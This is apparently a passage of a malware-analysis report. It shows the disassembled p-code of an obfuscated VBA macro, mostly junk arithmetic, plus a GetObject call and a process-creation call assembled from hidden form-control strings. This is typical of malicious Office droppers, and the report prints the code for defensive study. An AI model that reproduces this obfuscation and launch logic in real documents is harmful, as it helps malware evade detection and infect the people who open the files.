' 	IfBlock 
' Line #7:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0x3498 0x3780 
' 	LitDI4 0x2D37 0x0532 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0x5310 0x3A1D 
' 	Div 
' 	LitDI4 0x3B46 0x16DE 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0xFEE4 0x0684 
' 	Mul 
' 	LitDI4 0x1F2A 0x23CE 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x637F 0x0A47 
' 	LitDI4 0xBF51 0x1641 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St kAQk1QB_ 
' Line #8:
' 	LineCont 0x0004 0E 00 00 00
' 	LitDI4 0x3D4A 0x1093 
' 	Ld uBDAGA 
' 	ArgsLd Asc 0x0001 
' 	Ld wCABxXBk 
' 	Div 
' 	LitDI4 0x1D28 0x09A8 
' 	Div 
' 	Sub 
' 	Ld uAkQAAZ 
' 	LitDI4 0xBE86 0x27ED 
' 	Ld F_UADoAD 
' 	LitDI4 0xD7F7 0x38C9 
' 	FnSgn 
' 	Mul 
' 	Ld NBAxx4A 
' 	LitDI4 0x3EEB 0x2B6A 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St dQ_AcC 
' Line #9:
' 	EndIfBlock 
' Line #10:
' 	Ld YAxZ_QQ 
' 	Ld hAQDBA 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0x2BA6 0x189C 
' 	LitDI4 0x7307 0x25CD 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0x93FA 0x07BB 
' 	Div 
' 	LitDI4 0xC696 0x033E 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x63E0 0x0C47 
' 	Mul 
' 	LitDI4 0x1A24 0x2A95 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0xFE9D 0x21A8 
' 	LitDI4 0x499E 0x1FA6 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St Ex4ADAA 
' Line #12:
' 	LineCont 0x0004 0E 00 00 00
' 	LitDI4 0x9D58 0x1FF2 
' 	Ld RkADQDBB 
' 	ArgsLd Asc 0x0001 
' 	Ld GUXwD4cc 
' 	Div 
' 	LitDI4 0x8C77 0x3B02 
' 	Div 
' 	Sub 
' 	Ld ADBDAA 
' 	LitDI4 0x4B87 0x16C3 
' 	Ld bZUXAAUA 
' 	LitDI4 0x0061 0x377D 
' 	FnSgn 
' 	Mul 
' 	Ld oBAA1w 
' 	LitDI4 0x2B0F 0x01D8 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St iQDDB_ 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	SetStmt 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	ArgsLd OGXoDB 0x0001 
' 	Set FBBBZA 
' Line #15:
' 	Ld Y1BxADo 
' 	Ld wAAUQxA 
' 	Eq 
' 	IfBlock 
' Line #16:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0xE156 0x37B3 
' 	LitDI4 0xB56B 0x36C4 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0x4F50 0x0D10 
' 	Div 
' 	LitDI4 0xA8F7 0x0167 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0xBC5D 0x312B 
' 	Mul 
' 	LitDI4 0x756D 0x20A2 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x73EB 0x1643 
' 	LitDI4 0x7647 0x00FB 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St MCBDxU_k 
' Line #17:
' 	LineCont 0x0004 0E 00 00 00
' 	LitDI4 0x2368 0x2F05 
' 	Ld qCACAAXA 
' 	ArgsLd Asc 0x0001 
' 	Ld loBwA__Q 
' 	Div 
' 	LitDI4 0x55F8 0x1911 
' 	Div 
' 	Sub 
' 	Ld vAxDB1A 
' 	LitDI4 0xC103 0x26D5 
' 	Ld SAAAAA 
' 	LitDI4 0x788B 0x306A 
' 	FnSgn 
' 	Mul 
' 	Ld WAAZxwAD 
' 	LitDI4 0x139D 0x3493 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St kA4ABAA 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld uwAXAA 
' 	Ld OAZAxAAA 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0x6AF1 0x05E7 
' 	LitDI4 0x6B8D 0x044E 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0x5466 0x29EF 
' 	Div 
' 	LitDI4 0x332F 0x30C5 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0xBC38 0x032A 
' 	Mul 
' 	LitDI4 0x95A4 0x2A22 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x3F4B 0x0BB0 
' 	LitDI4 0x0CC2 0x17EC 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St BXAAXCU 
' Line #21:
' 	LineCont 0x0004 0E 00 00 00
' 	LitDI4 0xC4FD 0x0581 
' 	Ld K_AADDQ 
' 	ArgsLd Asc 0x0001 
' 	Ld cXAAUxBA 
' 	Div 
' 	LitDI4 0x4D72 0x213F 
' 	Div 
' 	Sub 
' 	Ld QGAQAB 
' 	LitDI4 0x6720 0x209D 
' 	Ld nAQAAc_D 
' 	LitDI4 0xD206 0x184B 
' 	FnSgn 
' 	Mul 
' 	Ld JoAACoA_ 
' 	LitDI4 0xDDB6 0x2071 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St TCCAA_ 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Ld UoQAQA1U 
' 	Ld YkAZXDDD 
' 	Eq 
' 	IfBlock 
' Line #24:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0xDF22 0x2842 
' 	LitDI4 0x093C 0x0E8D 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0x2545 0x1583 
' 	Div 
' 	LitDI4 0x987B 0x1492 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x676A 0x032A 
' 	Mul 
' 	LitDI4 0x01B8 0x1C79 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x6036 0x0FAE 
' 	LitDI4 0x7F87 0x04F2 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St Z4AABA 
' Line #25:
' 	LineCont 0x0004 0E 00 00 00
' 	LitDI4 0xDA42 0x34FC 
' 	Ld bXXxA4UA 
' 	ArgsLd Asc 0x0001 
' 	Ld nAAAUAA 
' 	Div 
' 	LitDI4 0xDA1D 0x0091 
' 	Div 
' 	Sub 
' 	Ld OccAAC 
' 	LitDI4 0xF18C 0x2664 
' 	Ld woAc1k 
' 	LitDI4 0xCDBC 0x0470 
' 	FnSgn 
' 	Mul 
' 	Ld uADG4X 
' 	LitDI4 0x4DDE 0x27F9 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St sQUZk4 
' Line #26:
' 	EndIfBlock 
' Line #27:
' 	LitDI4 0x6EB3 0x0005 
' 	LitDI4 0x6EB3 0x0005 
' 	Sub 
' 	Ld FBBBZA 
' 	MemSt GAAAAD_ 
' Line #28:
' 	Ld ShowWindow 
' 	Ld qBAAABAD 
' 	Eq 
' 	IfBlock 
' Line #29:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0x0EC9 0x35B4 
' 	LitDI4 0x988C 0x04DF 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0x9929 0x3324 
' 	Div 
' 	LitDI4 0x143B 0x1ACB 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x9D6E 0x06DB 
' 	Mul 
' 	LitDI4 0x0D7F 0x122D 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x5F8F 0x253F 
' 	LitDI4 0x7D03 0x2E4A 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St wB4UA1Do 
' Line #30:
' 	LineCont 0x0004 0E 00 00 00
' 	LitDI4 0x8FB3 0x00BB 
' 	Ld wUGZocQ 
' 	ArgsLd Asc 0x0001 
' 	Ld WGAAAG4A 
' 	Div 
' 	LitDI4 0x52DC 0x2828 
' 	Div 
' 	Sub 
' 	Ld OwA4CcZA 
' 	LitDI4 0x602F 0x3B73 
' 	Ld rxADUX 
' 	LitDI4 0x09E7 0x2F5D 
' 	FnSgn 
' 	Mul 
' 	Ld XQcD4AAC 
' 	LitDI4 0x70AE 0x3560 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St ucBQkA 
' Line #31:
' 	EndIfBlock 
' Line #32:
' 	Ld SUoDU_DB 
' 	Ld Y4BG4_AD 
' 	Eq 
' 	IfBlock 
' Line #33:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0x38D6 0x08D9 
' 	LitDI4 0xD235 0x25AC 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0xC689 0x1A71 
' 	Div 
' 	LitDI4 0x6913 0x0B5C 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0xE32B 0x29A0 
' 	Mul 
' 	LitDI4 0x6874 0x01DC 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x0A43 0x00F7 
' 	LitDI4 0x4AE2 0x12A7 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St bUGDXA_A 
' Line #34:
' 	LineCont 0x0004 0E 00 00 00
' 	LitDI4 0x96E1 0x2F30 
' 	Ld SQQkAx 
' 	ArgsLd Asc 0x0001 
' 	Ld rABAADZ 
' 	Div 
' 	LitDI4 0xED43 0x12E0 
' 	Div 
' 	Sub 
' 	Ld SAAA4C 
' 	LitDI4 0x1A57 0x2893 
' 	Ld w1ZUDACB 
' 	LitDI4 0xE7DD 0x3593 
' 	FnSgn 
' 	Mul 
' 	Ld DZQAkw 
' 	LitDI4 0x5B37 0x0C23 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St aBQZAA 
' Line #35:
' 	EndIfBlock 
' Line #36:
' 	LineCont 0x0004 07 00 00 00
' 	Ld Create 
' 	Ld MSForms 
' 	MemLd tQ4ABQC 
' 	Add 
' 	Ld A_A4UD 
' 	Add 
' 	Ld MSForms 
' 	MemLd wXUAwBx 
' 	Add 
' 	Ld Mw1A1Awx 
' 	Add 
' 	Ld MSForms 
' 	MemLd d_wCokAo 
' 	Add 
' 	Ld ZZBUoG 
' 	Add 
' 	Ld FAAUAX 
' 	Ld FBBBZA 
' 	Ld A4GUBckA 
' 	Ld MSForms 
' 	MemLd jkw1ACB 
' 	ArgsLd OGXoDB 0x0001 
' 	ArgsMemCall X_AwZUA# 0x0004 
' Line #37:
' 	Ld jZoDBXA 
' 	Ld uDwoBA 
' 	Eq 
' 	IfBlock 
' Line #38:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0x01BC 0x1F56 
' 	LitDI4 0x4D3D 0x323C 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0xCC7C 0x19BA 
' 	Div 
' 	LitDI4 0x3C76 0x09CF 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x1A1B 0x2F01 
' 	Mul 
' 	LitDI4 0x34D6 0x0EEE 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x98D6 0x3953 
' 	LitDI4 0x8D31 0x3176 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St QBA1o_ 
' Line #39:
' 	LineCont 0x0004 0E 00 00 00
' 	LitDI4 0xF8A0 0x323B 
' 	Ld FXAAAABB 
' 	ArgsLd Asc 0x0001 
' 	Ld iADAQZ4 
' 	Div 
' 	LitDI4 0xA050 0x180C 
' 	Div 
' 	Sub 
' 	Ld GAAXUA 
' 	LitDI4 0x30E0 0x2927 
' 	Ld DDAABAAA 
' 	LitDI4 0x5E42 0x1F2A 
' 	FnSgn 
' 	Mul 
' 	Ld XQ4A_oUD 
' 	LitDI4 0xFE6E 0x2342 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St YxxAA4o 
' Line #40:
' 	EndIfBlock 
' Line #41:
' 	Ld RkC41ACw 
' 	Ld wc1oAAx 
' 	Eq 
' 	IfBlock 
' Line #42:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0x2035 0x15A4 
' 	LitDI4 0x8EBC 0x21ED 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0x7295 0x0267 
' 	Div 
' 	LitDI4 0x0609 0x1145 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x7964 0x17CA 
' 	Mul 
' 	LitDI4 0xE634 0x20B6 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0xD9FC 0x1BED 
' 	LitDI4 0x1FE5 0x15AC 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St BBBUBoA 
' Line #43:
' 	LineCont 0x0004 0E 00 00 00
' 	LitDI4 0x641A 0x2A56 
' 	Ld FGZDA4ck 
' 	ArgsLd Asc 0x0001 
' 	Ld TAcAAcAD 
' 	Div 
' 	LitDI4 0x7E18 0x2522 
' 	Div 
' 	Sub 
' 	Ld RD4UAAA 
' 	LitDI4 0xA22C 0x1F4F 
' 	Ld BAxA_1 
' 	LitDI4 0x149B 0x1BB1 
' 	FnSgn 
' 	Mul 
' 	Ld YDwkQcwD 
' 	LitDI4 0x6D8C 0x16CF 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St fAD_ZCQA 
' Line #44:
' 	EndIfBlock 
' Line #45:
' 	Ld P1cAQBo 
' 	Ld NQoDAAZ 
' 	Eq 
' 	IfBlock 
' Line #46:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0x1AC6 0x1DFE 
' 	LitDI4 0xA061 0x3712 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0xD6A0 0x123B 
' 	Div 
' 	LitDI4 0x9253 0x184D 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x5DED 0x1C2E 
' 	Mul 
' 	LitDI4 0x31CE 0x37E6 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0xC363 0x1AA3 
' 	LitDI4 0xB847 0x3280 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St lAwABA 
' Line #47:
' 	LineCont 0x0004 0E 00 00 00
' 	LitDI4 0x1580 0x0C0F 
' 	Ld oAA1U4 
' 	ArgsLd Asc 0x0001 
' 	Ld HABDA1 
' 	Div 
' 	LitDI4 0x93CC 0x074D 
' 	Div 
' 	Sub 
' 	Ld MXACBDA 
' 	LitDI4 0x6C42 0x1272 
' 	Ld fBQDUx 
' 	LitDI4 0xD8FD 0x265A 
' 	FnSgn 
' 	Mul 
' 	Ld QxUkQZA 
' 	LitDI4 0xF397 0x1D3D 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St PAUAACQA 
' Line #48:
' 	EndIfBlock 
' Line #49:
' 	EndSub 
' Line #50:

Open this report in the interactive analyzer, or submit your own file for analysis.